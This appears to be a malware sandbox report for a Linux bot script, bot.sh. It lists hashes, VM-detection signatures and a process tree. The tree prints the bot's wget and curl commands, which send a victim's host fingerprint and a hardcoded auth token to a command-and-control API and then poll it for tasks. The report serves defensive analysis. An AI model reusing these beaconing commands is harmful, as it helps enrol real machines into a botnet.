1efffb886c745745d30174aae933f2385f5a74acbd626d4a38f34fbf200fe800

Analysis

max time kernel
139s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/07/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bot.sh
Size 10KB
Sample260717-phjk9aev3t
SHA256 1efffb886c745745d30174aae933f2385f5a74acbd626d4a38f34fbf200fe800
MD5 cf5dc765efba775aca1fbe01633257ad
SHA1 9f5990e9fa719d2f8dd1373cd2cb2abf905e0d9f
SHA512 40b456492211ddc6b9e763679b56a8ea41b7cf3329b1a3332315467dad847c978a75a58966180c83c8ac5fe08f55264edaa4770e5cedb97fad7de0225d11ad8e
SSDEEP 192:2mDK5StyuMUgOo5xWJlgLFqEIjreYpoJ6NYnDDz/puoe:2l6oWJlgLFqEIeYpoJ6NYn3zxuoe
TLSH
T19022A470FC69C030379ACC6C96F79D801647261BCA993804B19DBAD5AF78078FDD057A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 21 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 43 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/kernel/random/uuid	cat
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

/tmp/bot.sh
/tmp/bot.sh
1⤵
PID:647

/usr/bin/nohup
nohup sh /tmp/bot.sh --daemon
1⤵
PID:649

/usr/local/sbin/sh
sh /tmp/bot.sh --daemon
1⤵
PID:649

/usr/local/bin/sh
sh /tmp/bot.sh --daemon
1⤵
PID:649

/usr/sbin/sh
sh /tmp/bot.sh --daemon
1⤵
PID:649

/usr/bin/sh
sh /tmp/bot.sh --daemon
1⤵
PID:649

/sbin/sh
sh /tmp/bot.sh --daemon
1⤵
PID:649

/bin/sh
sh /tmp/bot.sh --daemon
1⤵
PID:649
- /bin/hostname
  /bin/hostname
  2⤵
  PID:654
- /bin/cat
  /bin/cat /proc/sys/kernel/random/uuid
  2⤵
  - Reads runtime system information
  PID:656
- /bin/hostname
  /bin/hostname -I
  2⤵
  PID:659
- /bin/hostname
  /bin/hostname
  2⤵
  PID:664
- /bin/uname
  /bin/uname -s
  2⤵
  PID:667
- /bin/uname
  /bin/uname -m
  2⤵
  PID:671
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"auth\":\"enibot2024\",\"id\":\"c27ccf01\",\"ip\":\"10.127.0.155\",\"hostname\":\"debian9-armhf-20260513-en-0\",\"os\":\"Linux\",\"arch\":\"armv7l\",\"method\":\"shell\"}" http://127.0.0.1:1337/api/register
  2⤵
  PID:673
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"auth\":\"enibot2024\",\"id\":\"c27ccf01\",\"ip\":\"10.127.0.155\",\"hostname\":\"debian9-armhf-20260513-en-0\",\"os\":\"Linux\",\"arch\":\"armv7l\",\"method\":\"shell\"}" http://127.0.0.1:1337/api/register
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:681
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:687
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:688
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:690
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:692
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:694
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:695
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:697
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:698
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:776
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:777
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:779
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:781
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:782
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:784
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:785
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:791
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:792
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:794
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:796
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:797
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:799
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:800
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:806
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:807
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:809
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:811
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:812
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:814
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:815
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:818
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:819
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:821
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:823
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:824
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:826
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:827
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:832
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:833
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:835
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:837
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:838
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:840
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:841
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:844
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:845
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:847
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:849
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:850
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:852
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:853
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:858
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:859
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:861
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:863
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:864
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:866
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:867
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:870
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:871
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:873
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:875
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:876
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:878
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:879
- /usr/bin/wget
  /usr/bin/wget -q -O- "--post-data={\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  PID:884
- /usr/bin/curl
  /usr/bin/curl -s -X POST -d "{\"id\":\"c27ccf01\"}" http://127.0.0.1:1337/api/heartbeat
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:885
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:887
- /usr/bin/wget
  /usr/bin/wget -q -O- "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  PID:889
- /usr/bin/curl
  /usr/bin/curl -s "http://127.0.0.1:1337/api/poll?id=c27ccf01"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:890
- /bin/busybox
  /bin/busybox -w3 127.0.0.1 1337
  2⤵
  PID:892
- /bin/sleep
  /bin/sleep 15
  2⤵
  PID:893

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads